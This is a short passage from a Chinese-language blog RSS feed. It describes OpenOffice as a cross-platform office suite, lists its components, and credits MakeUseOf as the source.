<p><strong><a href="http://wpcache.yo2.cn/wp-content/uploads/3/379/2007/10/openoffice-thumb.png"><img width="59" height="20" align="left" src="http://wpcache.yo2.cn/wp-content/uploads/3/379/2007/10/openoffice-thumb-thumb.png" alt="openoffice-thumb" /></a> 6.</strong><a target="_blank" href="http://www.openoffice.org/" title="OpenOffice"><strong>OpenOffice</strong></a></p>

<p>Linux下最流行的OpenOffice是一个跨平台多语言的Office套件,和MS Office有着较好的兼容性,包括Writer,Impress(演示文稿),Math,Draw,Calc(电子表格)和Base(数据库). StarOffice和IBM Lotus Symphony都是基于OpenOffice的源代码开发而成.</p>
<p>来自<a target="_blank" href="http://www.makeuseof.com/" title="MakeUseOf">MakeUseOf</a></p>]]></description>
      <wfw:commentRss><![CDATA[http://www.woidiy.com/blog/feed.asp?q=comment&id=492]]></wfw:commentRss>
    </item>
      
  </channel>
</rss>
